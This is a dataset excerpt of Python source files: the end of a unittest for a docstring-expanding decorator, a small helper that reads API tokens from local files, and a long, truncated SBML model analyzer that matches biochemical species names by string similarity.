= expander.__call__(self.func) self.assertTrue("Header" in new_func.__doc__) def testCallTrailer(self): if IGNORE_TEST: return expander = Expander(KWARGS, BASE, trailer=TRAILER) new_func = expander.__call__(self.func) self.assertTrue("Trailer" in new_func.__doc__) def testDecorator(self): if IGNORE_TEST: return new_func = self.expander.__call__(self.func) self.assertTrue(new_func.__doc__, funcExpanded.__doc__) def construct(self, excludes=[], includes=[]): expander = Expander(KWARGS, BASE, excludes=excludes, includes=includes) new_func = expander.__call__(self.func) return new_func.__doc__ def testExclude(self): if IGNORE_TEST: return # string = self.construct(excludes=BASE[1:]) for key in BASE[1:]: self.assertFalse(key in string) def testInclude(self): if IGNORE_TEST: return string = self.construct(includes=["num_plot"]) a_list = list(BASE) a_list.append("num_plot") for key in a_list: self.assertTrue(key in string) if __name__ == '__main__': unittest.main() ```
{ "source": "joseph-hellerstein/mapping", "score": 3 }
#### File: mapping/examples/util.py ```python def getKey(): with open("../apikey.txt", "r") as fd: return fd.read() def getMapboxToken(): with open("../mapbox_token.txt", "r") as fd: return fd.read() ```
{ "source": "joseph-hellerstein/RuleBasedProgramming", "score": 2 }
#### File: SBMLparser/atomizer/analyzeSBML.py ```python from pyparsing import Word, Suppress,Optional,alphanums,Group,ZeroOrMore import numpy as np import json import itertools import utils.structures as st from copy import deepcopy,copy import detectOntology import re import difflib from utils.util import logMess from collections import defaultdict import itertools import math from collections import Counter import re from utils.util import pmemoize as memoize ''' This file in general classifies rules according to the information contained in the json config file for classyfying rules according to their reactants/products ''' @memoize def get_close_matches(match, dataset, cutoff=0.6): return difflib.get_close_matches(match, dataset, cutoff=cutoff) @memoize def sequenceMatcher(a,b): ''' compares two strings ignoring underscores ''' return difflib.SequenceMatcher(lambda x:x == '_',a,b).ratio() name = Word(alphanums + '_-') + ':' species = (Word(alphanums + "_" + ":#-") + Suppress('()') + Optional(Suppress('@' + Word(alphanums + '_-')))) + ZeroOrMore(Suppress('+') + Word(alphanums + "_" + ":#-") + Suppress("()") + Optional(Suppress('@' + Word(alphanums + '_-')))) rate = Word(alphanums + "()") grammar = Suppress(Optional(name)) + ((Group(species) | '0') + Suppress(Optional("<") + "->") + (Group(species) | '0') + Suppress(rate)) @memoize def parseReactions(reaction, specialSymbols=''): if reaction.startswith('#'): return None result = grammar.parseString(reaction).asList() if len(result) < 2: result = [result, []] if '<->' in reaction and len(result[0]) == 1 and len(result[1]) == 2: result.reverse() return result def addToDependencyGraph(dependencyGraph, label, value): if label not in dependencyGraph: dependencyGraph[label] = [] if value not in dependencyGraph[label] and value != []: dependencyGraph[label].append(value) class SBMLAnalyzer: def __init__(self, modelParser, configurationFile, namingConventions, speciesEquivalences=None, conservationOfMass = True): self.modelParser = modelParser self.configurationFile = configurationFile self.namingConventions = detectOntology.loadOntology(namingConventions) self.userNamingConventions = copy(self.namingConventions) self.speciesEquivalences = speciesEquivalences self.userEquivalencesDict = None self.lexicalSpecies = [] self.conservationOfMass = conservationOfMass def distanceToModification(self, particle, modifiedElement, translationKeys): posparticlePos = [m.start() + len(particle) for m in re.finditer(particle, modifiedElement)] preparticlePos = [m.start() for m in re.finditer(particle, modifiedElement)] keyPos = [m.start() for m in re.finditer(translationKeys, modifiedElement)] distance = [abs(y-x) for x in posparticlePos for y in keyPos] distance.extend([abs(y-x) for x in preparticlePos for y in keyPos]) distance.append(9999) return min(distance) def fuzzyArtificialReaction(self,baseElements,modifiedElement,molecules): ''' in case we don't know how a species is composed but we know its base elements, try to get it by concatenating its basic reactants ''' import collections compare = lambda x, y: collections.Counter(x) == collections.Counter(y) equivalenceTranslator,translationKeys,conventionDict = self.processNamingConventions2(molecules) indirectEquivalenceTranslator= {x:[] for x in equivalenceTranslator} self.processFuzzyReaction([baseElements,modifiedElement],translationKeys,conventionDict,indirectEquivalenceTranslator) newBaseElements = baseElements for modification in indirectEquivalenceTranslator: for element in indirectEquivalenceTranslator[modification]: newBaseElements = [element[2][1] if x==element[2][0] else x for x in newBaseElements] if compare(baseElements,newBaseElements): return None return newBaseElements def analyzeSpeciesModification2(self, baseElement, modifiedElement, partialAnalysis): """ A method to read modifications within complexes. """ def index_min(values): return min(xrange(len(values)), key=values.__getitem__) equivalenceTranslator, translationKeys, conventionDict = self.processNamingConventions2([baseElement, modifiedElement]) differencePosition = [(i, x) for i, x in enumerate(difflib.ndiff(baseElement, modifiedElement)) if x.startswith('+')] tmp = '' lastIdx = 0 newDifferencePosition = [] for i in range(len(differencePosition)): tmp += differencePosition[i][1][-1] if tmp in translationKeys: newDifferencePosition.append(((differencePosition[lastIdx][0] + differencePosition[i][0]) / 2, tmp)) tmp = '' lastIdx = i differencePosition = newDifferencePosition if len(differencePosition) == 0: return None, None, None sortedPartialAnalysis = sorted(partialAnalysis, key=len, reverse=True) tokenPosition = [] tmpModifiedElement = modifiedElement for token in sortedPartialAnalysis: sequenceMatcher = difflib.SequenceMatcher(None, token, tmpModifiedElement) #sequenceMatcher2 = difflib.SequenceMatcher(None,token,baseElement) modifiedMatchingBlocks = [m.span() for m in re.finditer(token, tmpModifiedElement)] baseMatchingBlocks = [m.span() for m in re.finditer(token, baseElement)] #matchingBlocks = [x for x in modifiedMatchingBlocks for y in baseMatching Blocks if ] if len(modifiedMatchingBlocks) > 0 and len(baseMatchingBlocks) > 0: #select the matching block with the lowest distance to the base matching block matchingBlockIdx = index_min([min([abs((y[1]+y[0])/2 - (x[1]+x[0])/2) for y in baseMatchingBlocks]) for x in modifiedMatchingBlocks]) matchingBlock = modifiedMatchingBlocks[matchingBlockIdx] tmpModifiedElement = list(tmpModifiedElement) for idx in range(matchingBlock[0],matchingBlock[1]): tmpModifiedElement[idx] = '_' tmpModifiedElement = ''.join(tmpModifiedElement) tokenPosition.append((matchingBlock[0],matchingBlock[1]-1)) else: #try fuzzy search sequenceMatcher = difflib.SequenceMatcher(None,token,tmpModifiedElement) match = ''.join(tmpModifiedElement[j:j+n] for i, j, n in sequenceMatcher.get_matching_blocks() if n) if (len(match)) / float(len(token)) < 0.8: tokenPosition.append([999999999]) else: tmp = [i for i, y in enumerate(difflib.ndiff(token, tmpModifiedElement)) if not y.startswith('+')] if tmp[-1] - tmp[0] > len(token) + 5: tokenPosition.append([999999999]) continue tmpModifiedElement = list(tmpModifiedElement) for idx in tmp: if idx< len(tmpModifiedElement): tmpModifiedElement[idx] = '_' tmpModifiedElement = ''.join(tmpModifiedElement) tmp = [tmp[0],tmp[-1]-1] tokenPosition.append(tmp) intersection = [] for difference in differencePosition: distance = [] for token in tokenPosition: distance.append(min([abs(difference[0] - subtoken) for subtoken in token])) closestToken = sortedPartialAnalysis[index_min(distance)] #if difference[1] in conventionDict: intersection.append([difference[1],closestToken,min(distance)]) minimumToken = min(intersection,key=lambda x:x[2]) if intersection: return minimumToken[1],translationKeys, equivalenceTranslator return None, None, None def analyzeSpeciesModification(self, baseElement, modifiedElement, partialAnalysis): ''' a method for trying to read modifications within complexes This is only possible once we know their internal structure (this method is called after the creation and resolving of the dependency graph) ''' equivalenceTranslator, translationKeys, conventionDict = self.processNamingConventions2([baseElement, modifiedElement]) scores = [] if len(translationKeys) == 0: ''' there's no clear lexical path between reactant and product ''' return None, None, None for particle in partialAnalysis: distance = 9999 comparisonElement = max(baseElement, modifiedElement, key=len) if re.search('(_|^){0}(_|$)'.format(particle), comparisonElement) == None: distance = self.distanceToModification(particle, comparisonElement, translationKeys[0]) score = difflib.ndiff(particle, modifiedElement) else: # FIXME: make sure we only do a search on those variables that are viable # candidates. this is once again fuzzy string matchign. there should # be a better way of doing this with difflib permutations = set(['_'.join(x) for x in itertools.permutations(partialAnalysis, 2) if x[0] == particle]) if all([x not in modifiedElement for x in permutations]): distance = self.distanceToModification(particle, comparisonElement, translationKeys[0]) score = difflib.ndiff(particle, modifiedElement) # FIXME:tis is just an ad-hoc parameter in terms of how far a mod is from a species name # use something better if distance < 4: scores.append([particle, distance]) if len(scores) > 0: winner = scores[[x[1] for x in scores].index(min([x[1] for x in scores]))][0] else: winner = None if winner: return winner, translationKeys, equivalenceTranslator return None, None, None def findMatchingModification(self, particle, species): @memoize def findMatchingModificationHelper(particle, species): difference = difflib.ndiff(species,particle) differenceList = tuple([x for x in difference if '+' in x]) if differenceList in self.namingConventions['patterns']: return [self.namingConventions['patterns'][differenceList]] fuzzyKey = ''.join([x[2:] for x in differenceList]) differenceList = self.testAgainstExistingConventions(fuzzyKey,self.namingConventions['modificationList']) #can we state the modification as the combination of multiple modifications if differenceList: classificationList = [] for x in differenceList[0]: differenceKey = tuple(['+ {0}'.format(letter) for letter in x]) classificationList.append(self.namingConventions['patterns'][differenceKey]) return classificationList return None return findMatchingModificationHelper(particle,species) def greedyModificationMatching(self,speciesString, referenceSpecies): ''' recursive function trying to map a given species string to a string permutation of the strings in reference species >>> sa = SBMLAnalyzer(None,'./config/reactionDefinitions.json','./config/namingConventions.json') >>> sorted(sa.greedyModificationMatching('EGF_EGFR',['EGF','EGFR'])) ['EGF', 'EGFR'] >>> sorted(sa.greedyModificationMatching('EGF_EGFR_2_P_Grb2',['EGF','EGFR','EGF_EGFR_2_P','Grb2'])) ['EGF_EGFR_2_P', 'Grb2'] >>> sorted(sa.greedyModificationMatching('A_B_C_D',['A','B','C','C_D','A_B_C','A_B'])) ['A_B', 'C_D'] ''' bestMatch = ['', 0] finalMatches = [] blacklist = [] while(len(blacklist)< len(referenceSpecies)): localReferenceSpecies = [x for x in referenceSpecies if x not in blacklist and len(x) <= len(speciesString)] for species in localReferenceSpecies: if species in speciesString and len(species) > bestMatch[1] and species != speciesString: bestMatch = [species,len(species)] if bestMatch != ['', 0]: result = self.greedyModificationMatching(speciesString.replace(bestMatch[0],''), referenceSpecies) finalMatches = [bestMatch[0]] if result == -1: finalMatches = [] blacklist.append(bestMatch[0]) bestMatch = ['',0] continue elif result != -2: finalMatches.extend(result) break elif len([x for x in speciesString if x != '_']) > 0: return -1 else: return -2 return finalMatches def findClosestModification(self, particles, species, annotationDict, originalDependencyGraph): ''' maps a set of particles to the complete set of species using lexical analysis. This step is done independent of the reaction network. ''' equivalenceTranslator = {} dependencyGraph = {} localSpeciesDict = defaultdict(lambda : defaultdict(list)) def analyzeByParticle(splitparticle,species, equivalenceTranslator=equivalenceTranslator, dependencyGraph=dependencyGraph): basicElements = [] composingElements = [] splitpindex = -1 #for splitpindex in range(0,len(splitparticle)): while (splitpindex + 1)< len(splitparticle): splitpindex += 1 splitp = splitparticle[splitpindex] if splitp in species: closestList = [splitp] similarList = get_close_matches(splitp,species) similarList = [x for x in similarList if x != splitp and len(x) < len(splitp)] similarList = [[x,splitp] for x in similarList] if len(similarList) > 0: for similarity in similarList: #compare close lexical proximity fuzzyList = self.processAdHocNamingConventions(similarity[0], similarity[1],localSpeciesDict,False,species) for reaction,tag,modifier in fuzzyList: if modifier != None and all(['-' not in x for x in modifier]): logMess('INFO:LAE001','Lexical relationship inferred between \ {0}, user information confirming it is required'.format(similarity)) else: closestList = get_close_matches(splitp,species) closestList = [x for x in closestList if len(x) < len(splitp)] #if theres nothing in the species list i can find a lexical #neighbor from, then try to create one based on my two #positional neighbors if closestList == []: flag= True #do i get something by merging with the previous component? if len(composingElements) > 0: tmp,tmp2 = analyzeByParticle([composingElements[-1] + '_' + splitp], species) if tmp != [] and tmp2 != []: flag = False splitp = composingElements[-1] + '_' + splitp composingElements.pop() closestList = tmp localEquivalenceTranslator,_,_ = self.processNamingConventions2([tmp[0],tmp2[0]]) for element in localEquivalenceTranslator: if element not in equivalenceTranslator: equivalenceTranslator[element] = [] equivalenceTranslator[element].extend(localEquivalenceTranslator[element]) for instance in localEquivalenceTranslator[element]: addToDependencyGraph(dependencyGraph,instance[1],[instance[0]]) #do i get something by merging with the next component? if flag and splitpindex + 1 != len(splitparticle): tmp,tmp2 = analyzeByParticle([splitp+ '_' + splitparticle[splitpindex+1]],species) if tmp!= [] and tmp2 != []: splitp = splitp+ '_' + splitparticle[splitpindex+1] splitpindex += 1 closestList = tmp localEquivalenceTranslator,_,_ = self.processNamingConventions2([tmp[0],tmp2[0]]) for element in localEquivalenceTranslator: if element not in equivalenceTranslator: equivalenceTranslator[element] = [] equivalenceTranslator[element].append(localEquivalenceTranslator[element]) for instance in localEquivalenceTranslator[element]: addToDependencyGraph(dependencyGraph,instance[1],[instance[0]]) else: return [],[] elif flag: return [],[] basicElements.append(min(closestList,key=len)) #if what i have is a known compound just add it if splitp in species: composingElements.append(splitp) #if not create it else: closestList = get_close_matches(splitp,species) closestList = [x for x in closestList if len(x) < len(splitp)] flag = False for element in closestList: localEquivalenceTranslator,_,_ = self.processNamingConventions2([element,splitp]) if len(localEquivalenceTranslator.keys()) == 0: basicElements = [] composingElements = [] for element in localEquivalenceTranslator: if element not in equivalenceTranslator: equivalenceTranslator[element] = [] equivalenceTranslator[element].append(localEquivalenceTranslator[element]) for instance in localEquivalenceTranslator[element]: addToDependencyGraph(dependencyGraph,instance[1],[instance[0]]) flag = True if flag: composingElements.append(splitp) return basicElements,composingElements additionalHandling = [] #lexical handling for particle in sorted(particles, key=len): composingElements = [] basicElements = [] # can you break it down into small bites? if '_' in particle: splitparticle = particle.split('_') #print '---',splitparticle splitparticle = [x for x in splitparticle if x] #print splitparticle basicElements,composingElements = analyzeByParticle(splitparticle,species) if basicElements == composingElements and basicElements: closeMatches = get_close_matches(particle,species) matches = [x for x in closeMatches if len(x) < len(particle) and len(x) >= 3] for match in matches: difference = difflib.ndiff(match,particle) differenceList = tuple([x for x in difference if '+' in x]) if differenceList in self.namingConventions['patterns']: logMess('INFO:LAE005', 'matching {0}={1}'.format(particle, [match])) addToDependencyGraph(dependencyGraph,particle,[match]) if len(matches) > 0: continue elif particle not in composingElements and composingElements != [] and all([x in species for x in composingElements]): addToDependencyGraph(dependencyGraph, particle, composingElements) for element in composingElements: if element not in dependencyGraph: addToDependencyGraph(dependencyGraph, element, []) if element not in particles: additionalHandling.append(element) continue else: for basicElement in basicElements: if basicElement in particle and basicElement != particle: fuzzyList = self.processAdHocNamingConventions(basicElement, particle, localSpeciesDict, False, species) if self.testAgainstExistingConventions(fuzzyList[0][1], self.namingConventions['modificationList']): addToDependencyGraph(dependencyGraph, particle, [basicElement]) logMess('INFO:LAE005', '{0} can be mapped to {1} through existing naming conventions'.format(particle, [basicElement])) break continue # if bottom up doesn't work try a top down approach for comparisonParticle in particles: if particle == comparisonParticle: continue # try to map remaining orphaned molecules to each other based on simple, but known modifications if comparisonParticle in particle: fuzzyList = self.processAdHocNamingConventions(particle,comparisonParticle,localSpeciesDict, False, species) if self.testAgainstExistingConventions(fuzzyList[0][1],self.namingConventions['modificationList']): if particle in annotationDict and comparisonParticle in annotationDict: baseSet = set([y for x in annotationDict[particle] for y in annotationDict[particle][x]]) modSet = set([y for x in annotationDict[comparisonParticle] for y in annotationDict[comparisonParticle][x]]) if len(baseSet.intersection(modSet)) == 0: baseDB = set([x.split('/')[-2] for x in baseSet if 'identifiers.org' in x]) modDB = set([x.split('/')[-2] for x in modSet if 'identifiers.org' in x]) #we stil ahve to check that they both reference the same database if len(baseDB.intersection(modDB)) > 0: logMess('ERROR:ANN202', '{0}:{1}:can be mapped through naming conventions but the annotation information does not match'.format(particle, comparisonParticle)) continue addToDependencyGraph(dependencyGraph,particle,[comparisonParticle]) logMess('INFO:LAE005', '{0} can be mapped to {1} through existing naming conventions'.format(particle, [comparisonParticle])) break else: common_root = detectOntology.findLongestSubstring(particle, comparisonParticle) # some arbitrary threshold of what makes a good minimum lenght for the common root if len(common_root) > 0 and common_root not in originalDependencyGraph: fuzzyList = self.processAdHocNamingConventions(common_root,comparisonParticle,localSpeciesDict, False, species) fuzzyList2 = self.processAdHocNamingConventions(common_root,particle,localSpeciesDict, False, species) particleMap = self.testAgainstExistingConventions(fuzzyList[0][1], self.namingConventions['modificationList']) compParticleMap = fuzzyList2, self.testAgainstExistingConventions(fuzzyList2[0][1], self.namingConventions['modificationList']) if particleMap and compParticleMap: if particle in annotationDict and comparisonParticle in annotationDict: baseSet = set([y for x in annotationDict[particle] for y in annotationDict[particle][x]]) modSet = set([y for x in annotationDict[comparisonParticle] for y in annotationDict[comparisonParticle][x]]) if len(baseSet.intersection(modSet)) == 0: logMess('ERROR:ANN202', '{0}:{1}:can be mapped through naming conventions but the annotation information does not match'.format(particle,comparisonParticle)) break addToDependencyGraph(dependencyGraph, particle, [common_root]) addToDependencyGraph(dependencyGraph, comparisonParticle, [common_root]) addToDependencyGraph(dependencyGraph, common_root, []) logMess('INFO:LAE006', '{0}:{1}:can be mapped together through new common molecule {2} by existing naming conventions'.format(particle, comparisonParticle, common_root)) break #if len(additionalHandling) > 0: #print self.findClosestModification(set(additionalHandling),species) return dependencyGraph,equivalenceTranslator def loadConfigFiles(self,fileName): ''' the reactionDefinition file must contain the definitions of the basic reaction types we wnat to parse and what are the requirements of a given reaction type to be considered as such ''' reactionDefinition = '' if fileName == '': return [] with open(fileName,'r') as fp: reactionDefinition = json.load(fp) return reactionDefinition def identifyReactions2(self,rule,reactionDefinition): ''' This method goes through the list of common reactions listed in ruleDictionary and tries to find how are they related according to the information in reactionDefinition ''' result = [] for idx,element in enumerate(reactionDefinition['reactions']): tmp1 = rule[0] if rule[0] not in ['0',['0']] else [] tmp2 = rule[1] if rule[1] not in ['0',['0']] else [] if(len(tmp1) == len(element[0]) and len(tmp2) == len(element[1])): result.append(1) # for (el1,el2) in (element[0],rule[0]): # if element[0].count(el1) == element[] else: result.append(0) return result def species2Rules(self,rules): ''' This method goes through the rule list and classifies species tuples in a dictionary according to the reactions they appear in. ''' ruleDictionary = {} for idx,rule in enumerate(rules): reaction2 = rule #list(parseReactions(rule)) totalElements = [item for sublist in reaction2 for item in sublist] if tuple(totalElements) in ruleDictionary: ruleDictionary[tuple(totalElements)].append(idx) else: ruleDictionary[tuple(totalElements)] = [idx] return ruleDictionary def checkCompliance(self,ruleCompliance,tupleCompliance,ruleBook): ''' This method is mainly useful when a single reaction can be possibly classified in different ways, but in the context of its tuple partners it can only be classified as one ''' ruleResult = np.zeros(len(ruleBook)) for validTupleIndex in np.nonzero(tupleCompliance): for index in validTupleIndex: for alternative in ruleBook[index]: if 'r' in alternative and np.any([ruleCompliance[temp] for temp in alternative['r']]): ruleResult[index] = 1 break #check if just this is enough if 'n' in alternative: ruleResult[index] = 1 break return ruleResult def levenshtein(self,s1, s2): l1 = len(s1) l2 = len(s2) matrix = [range(l1 + 1)] * (l2 + 1) for zz in range(l2 + 1): matrix[zz] = range(zz,zz + l1 + 1) for zz in range(0,l2): for sz in range(0,l1): if s1[sz] == s2[zz]: matrix[zz+1][sz+1] = min(matrix[zz+1][sz] + 1, matrix[zz][sz+1] + 1, matrix[zz][sz]) else: matrix[zz+1][sz+1] = min(matrix[zz+1][sz] + 1, matrix[zz][sz+1] + 1, matrix[zz][sz] + 1) return matrix[l2][l1] def analyzeUserDefinedEquivalences(self,molecules,conventions): equivalences = {} smolecules = [x.strip('()') for x in molecules] modifiedElement = {} for convention in conventions: baseMol = [] modMol = [] for molecule in smolecules: if convention[0] in molecule and convention[1] not in molecule: baseMol.append(molecule) elif convention[1] in molecule: modMol.append(molecule) if convention[2] not in equivalences: equivalences[convention[2]] = [] equivalences[convention[2]].append((convention[0],convention[1])) if convention[0] not in modifiedElement: modifiedElement[convention[0]] = [] modifiedElement[convention[0]].append((convention[0],convention[1])) ''' for mol1 in baseMol: for mol2 in modMol: score = self.levenshtein(mol1,mol2) if score == self.levenshtein(convention[0],convention[1]): equivalences[convention[2]].append((mol1,mol2)) modifiedElement[convention[0]].append((mol1,mol2)) break ''' return equivalences,modifiedElement def processNamingConventions2(self, molecules, threshold=4, onlyUser=False): # normal naming conventions strippedMolecules = [x.strip('()') for x in molecules] tmpTranslator = {} translationKeys = [] conventionDict = {} # FIXME: This line contains the single biggest execution bottleneck in the code # we should be able to delete it # user defined equivalence if not onlyUser: tmpTranslator, translationKeys, conventionDict = detectOntology.analyzeNamingConventions(strippedMolecules, self.namingConventions, similarityThreshold=threshold) # user defined naming convention if self.userEquivalencesDict is None and hasattr(self, 'userEquivalences'): self.userEquivalencesDict, self.modifiedElementDictionary = self.analyzeUserDefinedEquivalences(molecules, self.userEquivalences) else: if self.userEquivalencesDict is None: self.userEquivalencesDict = {} ''' for name in self.userEquivalencesDict: equivalenceTranslator[name] = self.userEquivalencesDict[name] ''' # add stuff to the main translator for element in self.userEquivalencesDict: if element not in tmpTranslator: tmpTranslator[element] = [] tmpTranslator[element].extend(self.userEquivalencesDict[element]) return tmpTranslator, translationKeys, conventionDict def processAdHocNamingConventions(self, reactant, product, localSpeciesDict, compartmentChangeFlag, moleculeSet): ''' 1-1 string comparison. This method will attempt to detect if there's a modifiation relatinship between string <reactant> and <product> >>> sa = SBMLAnalyzer(None,'./config/reactionDefinitions.json','./config/namingConventions.json') >>> sa.processAdHocNamingConventions('EGF_EGFR_2','EGF_EGFR_2_P', {}, False, ['EGF','EGFR', 'EGF_EGFR_2']) [[[['EGF_EGFR_2'], ['EGF_EGFR_2_P']], '_p', ('+ _', '+ p')]] >>> sa.processAdHocNamingConventions('A', 'A_P', {}, False,['A','A_P']) #changes neeed to be at least 3 characters long [[[['A'], ['A_P']], None, None]] >>> sa.processAdHocNamingConventions('Ras_GDP', 'Ras_GTP', {}, False,['Ras_GDP','Ras_GTP', 'Ras']) [[[['Ras'], ['Ras_GDP']], '_gdp', ('+ _', '+ g', '+ d', '+ p')], [[['Ras'], ['Ras_GTP']], '_gtp', ('+ _', '+ g', '+ t', '+ p')]] >>> sa.processAdHocNamingConventions('cRas_GDP', 'cRas_GTP', {}, False,['cRas_GDP','cRas_GTP']) [[[['cRas'], ['cRas_GDP']], '_gdp', ('+ _', '+ g', '+ d', '+ p')], [[['cRas'], ['cRas_GTP']], '_gtp', ('+ _', '+ g', '+ t', '+ p')]] ''' #strippedMolecules = [x.strip('()') for x in molecules] molecules = [reactant, product] if len(reactant) < len(product) else [product, reactant] similarityThreshold = 10 if reactant == product: return [[[[reactant], [product]], None, None]] namePairs, differenceList, _ = detectOntology.defineEditDistanceMatrix(molecules, similarityThreshold=similarityThreshold) #print '+++',namePairs,differenceList #print '---',detectOntology.defineEditDistanceMatrix2(molecules,similarityThreshold=similarityThreshold) # FIXME:in here we need a smarter heuristic to detect actual modifications # for now im just going with a simple heuristic that if the species name # is long enough, and the changes from a to be are all about modification longEnough = 3 if len(differenceList) > 0 and ((len(reactant) >= longEnough and len(reactant) >= len(differenceList[0])) or reactant in moleculeSet): # one is strictly a subset of the other a,a_b if len([x for x in differenceList[0] if '-' in x]) == 0: return [[[[reactant], [product]], ''.join([x[-1] for x in differenceList[0]]), differenceList[0]]] # string share a common subset but they contain mutually exclusive appendixes: a_b,a_c else: commonRoot = detectOntology.findLongestSubstring(reactant, product) if len(commonRoot) > longEnough or commonRoot in moleculeSet: #find if we can find a commonRoot from existing molecules mostSimilarRealMolecules = get_close_matches(commonRoot, [x for x in moleculeSet if x not in [reactant, product]]) for commonMolecule in mostSimilarRealMolecules: if commonMolecule in reactant and commonMolecule in product: commonRoot = commonMolecule logMess('DEBUG:LAE003', 'common root {0}={1}:{2}'.format(commonRoot, reactant, product)) #if commonMolecule == commonRoot.strip('_'): # commonRoot= commonMolecule # break molecules = [commonRoot, reactant, product] namePairs, differenceList, _ = detectOntology.defineEditDistanceMatrix([commonRoot, reactant], similarityThreshold=10) namePairs2, differenceList2, _ = detectOntology.defineEditDistanceMatrix([commonRoot, product], similarityThreshold=10) namePairs.extend(namePairs2) #print namePairs, reactant, product #XXX: this was just turning the heuristic off #for element in namePairs: # supposed modification is actually a pre-existing species. if that happens then refuse to proceeed # if element[1] in moleculeSet: # return [[[[reactant],[product]],None,None]] differenceList.extend(differenceList2) # obtain the name of the component from an anagram using the modification letters validDifferences = [''.join([x[-1] for x in difference]) for difference in differenceList if '-' not in [y[0] for y in difference]] validDifferences.sort() # avoid trivial differences if len(validDifferences) < 2 or any([x in moleculeSet for x in validDifferences]): return [[[[reactant],[product]],None,None]] # FIXME:here it'd be helpful to come up with a better heuristic # for infered component names # componentName = ''.join([x[0:max(1,int(math.ceil(len(x)/2.0)))] for x in validDifferences]) #for namePair,difference in zip(namePairs,differenceList): # if len([x for x in difference if '-' in x]) == 0: # tag = ''.join([x[-1] for x in difference]) # if [namePair[0],tag] not in localSpeciesDict[commonRoot][componentName]: # localSpeciesDict[namePair[0]][componentName].append([namePair[0],tag,compartmentChangeFlag]) # localSpeciesDict[namePair[1]][componentName].append([namePair[0],tag,compartmentChangeFlag]) #namePairs,differenceList,_ = detectOntology.defineEditDistanceMatrix([commonRoot,product], # similarityThreshold=similarityThreshold) return [[[[namePairs[y][0]],[namePairs[y][1]]],''.join([x[-1] for x in differenceList[y]]),differenceList[y]] for y in range(len(differenceList))] return [[[[reactant],[product]],None,None]] def compareStrings(self,reactant,product,strippedMolecules): if reactant in strippedMolecules: if reactant in product: return reactant,[reactant] #pairedMolecules.append((reactant[idx],reactant[idx])) #product.remove(reactant[idx]) #reactant.remove(reactant[idx]) else: closeMatch = get_close_matches(reactant,product) if len(closeMatch) == 1: #pairedMolecules.append((reactant[idx],closeMatch[0])) #product.remove(closeMatch[0]) #reactant.remove(reactant[idx]) return (reactant,closeMatch) elif len(closeMatch) > 0: s = difflib.SequenceMatcher() s.set_seq1(reactant) scoreDictionary = [] for match in closeMatch: s.set_seq2(match) scoreDictionary.append((s.ratio(),match)) scoreDictionary.sort(reverse=True) return reactant,[closeMatch[0]] else: return None,[] else: if reactant not in product: closeMatch = get_close_matches(reactant,product) if len(closeMatch) == 1: if closeMatch[0] in strippedMolecules: return reactant,closeMatch else: closeMatchToBaseMolecules = get_close_matches(closeMatch[0],strippedMolecules) if len(closeMatchToBaseMolecules) == 1: return reactant,closeMatch return None,closeMatch #pairedMolecules.append((reactant[idx],closeMatch[0])) #product.remove(closeMatch[0]) #reactant.remove(reactant[idx]) else: return None,closeMatch #print '****',reactant[idx],closeMatch,difflib.get_close_matches(reactant[idx],strippedMolecules) else: mcloseMatch = get_close_matches(reactant,strippedMolecules) #for close in mcloseMatch: # if close in [x for x in reaction[0]]: # return None,[close] return None,[reactant] def growString(self, reactant, product, rp, pp, idx, strippedMolecules,continuityFlag): ''' currently this is the slowest method in the system because of all those calls to difflib ''' idx2 = 2 treactant = [rp] tproduct = pp pidx = product.index(pp[0]) #print reactant,rself.breakByActionableUnit([reactant,product],strippedMolecules) while idx + idx2 <= len(reactant): treactant2 = reactant[idx:min(len(reactant), idx + idx2)] #if treactant2 != tproduct2: if treactant2[-1] in strippedMolecules and continuityFlag: break else: if len(reactant) > idx + idx2: tailDifferences = get_close_matches(treactant2[-1], strippedMolecules) if len(tailDifferences) > 0: tdr = max([0] + [sequenceMatcher('_'.join(treactant2), x) for x in tailDifferences]) hdr = max([0] + [sequenceMatcher('_'.join(reactant[idx + idx2 - 1:idx + idx2 + 1]), x) for x in tailDifferences]) if tdr > hdr and tdr > 0.8: treactant = treactant2 else: tailDifferences = get_close_matches('_'.join(treactant2), strippedMolecules) headDifferences = get_close_matches('_'.join(reactant[idx + idx2 - 1:idx + idx2 + 1]), strippedMolecules) if len(tailDifferences) == 0: break elif len(headDifferences) == 0: treactant = treactant2 break elif len(reactant) == idx + idx2: tailDifferences = get_close_matches('_'.join(treactant2), strippedMolecules) if len(tailDifferences) > 0: tdr = max([0] + [sequenceMatcher('_'.join(treactant2), x) for x in tailDifferences]) if tdr > 0.8: treactant = treactant2 else: break else: break else: treactant = treactant2 break idx2 += 1 idx2 = 2 while pidx + idx2 <= len(product): tproduct2 = product[pidx:min(len(product), pidx + idx2)] if tproduct2[-1] in strippedMolecules and continuityFlag: break else: if len(product) > pidx + idx2: tailDifferences = get_close_matches(tproduct2[-1], strippedMolecules) if len(tailDifferences) > 0: tdr = max([0] + [sequenceMatcher('_'.join(tproduct2), x) for x in tailDifferences]) hdr = max([0] + [sequenceMatcher('_'.join(product[pidx + idx2 - 1:pidx + idx2 + 1]), x) for x in tailDifferences]) if tdr > hdr and tdr > 0.8: tproduct = tproduct2 else: tailDifferences = get_close_matches('_'.join(tproduct2), strippedMolecules, cutoff=0.8) headDifferences = get_close_matches('_'.join(product[pidx + idx2 - 1:pidx + idx2 + 1]), strippedMolecules, cutoff=0.8) if len(tailDifferences) == 0: break elif len(headDifferences) == 0 or '_'.join(tproduct2) in tailDifferences: tproduct = tproduct2 elif len(product) == pidx + idx2: tailDifferences = get_close_matches('_'.join(tproduct2), strippedMolecules) if len(tailDifferences) > 0: tdr = max([0] + [sequenceMatcher('_'.join(tproduct2), x) for x in tailDifferences]) if tdr > 0.8: tproduct = tproduct2 else: break else: break else: tproduct = tproduct2 break #if '_'.join(tproduct2) in strippedMolecules and '_'.join(treactant2) in strippedMolecules: # tproduct = tproduct2 # treactant = treactant2 #else: idx2 += 1 return treactant, tproduct def approximateMatching2(self, reactantString, productString, strippedMolecules, differenceParameter): """ The meat of the naming convention matching between reactant and product is done here tl;dr naming conventions are hard """ #reactantString = [x.split('_') for x in reaction[0]] #reactantString = [[y for y in x if y!=''] for x in reactantString] #productString = [x.split('_') for x in reaction[1]] #productString = [[y for y in x if y!=''] for x in productString] pairedMolecules = [[] for _ in range(len(productString))] pairedMolecules2 = [[] for _ in range(len(reactantString))] for stoch, reactant in enumerate(reactantString): idx = -1 while idx + 1 < len(reactant): idx += 1 for stoch2, product in enumerate(productString): #print idx2,product in enumerate(element3): rp, pp = self.compareStrings(reactant[idx], product, strippedMolecules) if rp and rp != pp[0]: pairedMolecules[stoch2].append((rp, pp[0])) pairedMolecules2[stoch].append((pp[0], rp)) product.remove(pp[0]) reactant.remove(rp) #product.remove(pp) #reactant.remove(rp) idx 